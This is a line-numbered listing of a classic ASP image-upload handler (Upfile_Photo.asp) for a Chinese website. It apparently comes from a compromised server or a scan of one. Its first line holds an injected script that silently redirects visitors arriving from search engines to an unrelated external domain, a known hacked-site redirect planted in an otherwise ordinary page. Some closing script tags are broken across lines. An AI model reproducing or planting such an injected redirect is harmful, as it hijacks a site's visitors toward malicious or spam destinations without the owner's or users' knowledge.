d:\wwwroot\wuchunhua\Upfile_Photo.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="setup.asp"-->
002: <!--#include file="upfile_class.asp"-->
003: <%
004: dim db,connstr
005: db="#data.asp"
006: set Conn = server.CreateObject("ADODB.Connection")
007: connstr="driver={Microsoft Access Driver (*.mdb)};dbq="& server.MapPath("data/"&db&"")
008: conn.Open connstr
009:
010:
011: const upload_type=0   '上传方法:0=无惧无组件上传类,1=FSO上传 2=lyfupload,3=aspupload,4=chinaaspupload
012: Const MaxFileSize=100        '上传文件大小限制
013: Const SaveUpFilesPath="adpic"        '存放上传文件的目录
014: Const UpFileType="gif|jpg|bmp"        '允许的上传文件类型
015: dim upload,oFile,formName,SavePath,filename,fileExt,oFileSize
016: dim EnableUpload
017: dim arrUpFileType
018: dim ranNum
019: dim msg,FoundErr
020: dim PhotoUrlID
021: msg=""
022: FoundErr=false
023: EnableUpload=false
024: id=request("id")
025: %
>
026: <html>
027: <head>
028: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
029: <style type="text/css">
030: <!--
031: BODY{
032: BACKGROUND-COLOR: #E1F4EE;
033: font-size:9pt
034: }
035: .tx1 { height: 20px;font-size: 9pt; border: 1px solid; border-color: #000000; color: #0000FF}
036: -->

037: </style>
038: </head>
039: <body leftmargin="2" topmargin="5" marginwidth="0" marginheight="0" >
040: <%
041: if EnableUploadFile="No" then
042:    response.write "系统未开放文件上传功能"
043: else
044:    if session("china_uid")="" and session("china_cityadmin")="" and session("china_admin")="" then
045:       response.Write("请登录后再使用本功能!")
046:    else
047:       select case upload_type
048:          case 0
049:             call upload_0()  '使用化境无组件上传类
050:          case else
051:             'response.write "本系统未开放插件功能"
052:             'response.end
053:       end select
054:    end if
055: end if
056: %
>
057: </body>
058: </html>
059: <%
060: sub upload_0()    '使用化境无组件上传类
061:    set upload=new upfile_class ''建立上传对象
062:    upload.GetData(104857600)   '取得上传数据,限制最大上传100M
063:    if upload.err > 0 then  '如果出错
064:       select case upload.err
065:          case 1
066:             response.write "请先选择你要上传的文件!"
067:          case 2
068:             response.write "你上传的文件总大小超出了最大限制(100M)"
069:       end select
070:       response.end
071:    end if
072:    PhotoUrlID=Clng(trim(upload.form("PhotoUrlID")))
073:    if PhotoUrlID>0 then
074:       SavePath = SaveUpFilesPath   '存放上传文件的目录
075:    else
076:       SavePath = SaveUpFilesPath   '存放上传文件的目录
077:    end if
078:    if right(SavePath,1)<>"/" then SavePath=SavePath&"/" '在目录后加(/)
079:    set rs=Server.CreateObject("adodb.recordset")
080:    rs.Open "select * from upfile",conn,1,3
081:    for each formName in upload.file '列出所有上传了的文件
082:       set ofile=upload.file(formName)  '生成一个文件对象
083:       oFileSize=ofile.filesize
084:       if oFileSize<100 then
085:          msg="请先选择你要上传的文件!"
086:          FoundErr=True
087:       else
088:        select case PhotoUrlID
089:          case 0      
090:           if oFileSize>(MaxFileSize*1024) then
091:              msg="文件大小超过了限制,最大只能上传" & CStr(MaxFileSize) & "K的文件!"
092:           FoundErr=true
093:           end if
094:           case 1
095:           if oFileSize>(10000*1024) then
096:              msg="文件大小超过了限制,最大只能上传10M的文件!"
097:           FoundErr=true
098:           end if
099:        end select      
100:       end if
101:
102:       fileExt=lcase(ofile.FileExt)
103:       arrUpFileType=split(UpFileType,"|")
104:       for i=0 to ubound(arrUpFileType)
105:          if fileEXT=trim(arrUpFileType(i)) then
106:             EnableUpload=true
107:             exit for
108:          end if
109:       next
110:       if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then
111:          EnableUpload=false
112:       end if
113:       if EnableUpload=false then
114:          msg="这种文件类型不允许上传!\n\n只允许上传这几种文件类型:" & UpFileType
115:          FoundErr=true
116:       end if
117:       
118:       
119:       strJS="<SCRIPT language=javascript>" & vbcrlf
120:       if FoundErr<>true then
121:          randomize
122:          ranNum=int(900*rnd)+100
123:          picname=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
124:          filename=SavePath&picname
125:
126:          ofile.SaveToFile Server.mappath(FileName)   '保存文件
127:       rs.AddNew
128:          rs("filename")=picname
129:          rs("username")=session("china_uid")
130:          rs.Update  
131:          response.write "文件上传成功!文件大小为:" & cstr(round(oFileSize/1024)) & "K"
132:          select case PhotoUrlID
133:             case 0
134:                strJS=strJS & "parent.document.postart.dpic.value='" & picname & "';" & vbcrlf
135:                'strJS=strJS & "parent.document.myform.PhotoSize1.value='" & cstr(round(oFileSize/1024)) & "';" & vbcrlf
136:             case 1
137:                strJS=strJS & "parent.document.myform.DownloadUrl.value='" & fileName & "';" & vbcrlf
138:                strJS=strJS & "parent.document.myform.FileSize.value='" & cstr(round(oFileSize/1024)) & "';" & vbcrlf
139:             case 2
140:                  response.redirect "admin/link_img.asp?id="&id&"&web="&picname
141:                'strJS=strJS & "parent.document.myform.PhotoUrl2.value='" & fileName & "';" & vbcrlf
142:                'strJS=strJS & "parent.document.myform.PhotoSize2.value='" & cstr(round(oFileSize/1024)) & "';" & vbcrlf
143:             case 3
144:                strJS=strJS & "parent.document.myform.CompVisualize.value='" & fileName & "';" & vbcrlf
145:             '   strJS=strJS & "parent.document.myform.PhotoSize3.value='" & cstr(round(oFileSize/1024)) & "';" & vbcrlf
146:             case 4
147:                strJS=strJS & "parent.document.myform.PhotoUrl4.value='" & fileName & "';" & vbcrlf
148:                'strJS=strJS & "parent.document.myform.PhotoSize4.value='" & cstr(round(oFileSize/1024)) & "';" & vbcrlf
149:             case 5
150:                strJS=strJS & "parent.document.myform.CompHonor.value='" & fileName & "';" & vbcrlf
151:             '   strJS=strJS & "parent.document.myform.PhotoSize5.value='" & cstr(round(oFileSize/1024)) & "';" & vbcrlf
152:             case 6
153:                strJS=strJS & "parent.document.myform.DefaultPicUrl.value='" & fileName & "';" & vbcrlf
154:                'strJS=strJS & "parent.document.myform.PhotoSize6.value='" & cstr(round(oFileSize/1024)) & "';" & vbcrlf
155:             case 7
156:                strJS=strJS & "parent.document.myform.MovieAddr.value='" & fileName & "';" & vbcrlf
157:                'strJS=strJS & "parent.document.myform.PhotoSize6.value='" & cstr(round(oFileSize/1024)) & "';" & vbcrlf  
158:          end select
159:       else
160:          strJS=strJS & "alert('" & msg & "');" & vbcrlf
161:            strJS=strJS & "history.go(-1);" & vbcrlf
162:       end if
163:       strJS=strJS & "</script>" & vbcrlf
164:       response.write strJS
165:       if PhotoUrlID=1 then
166:       response.redirect "admin/ad.asp?id="&id&"&picname="&picname
167:       end if
168:       set file=nothing
169:       next
170:    rs.close
171:    set rs=nothing
172:    set upload=nothing
173: end sub
174: %
>
175:
176:
177: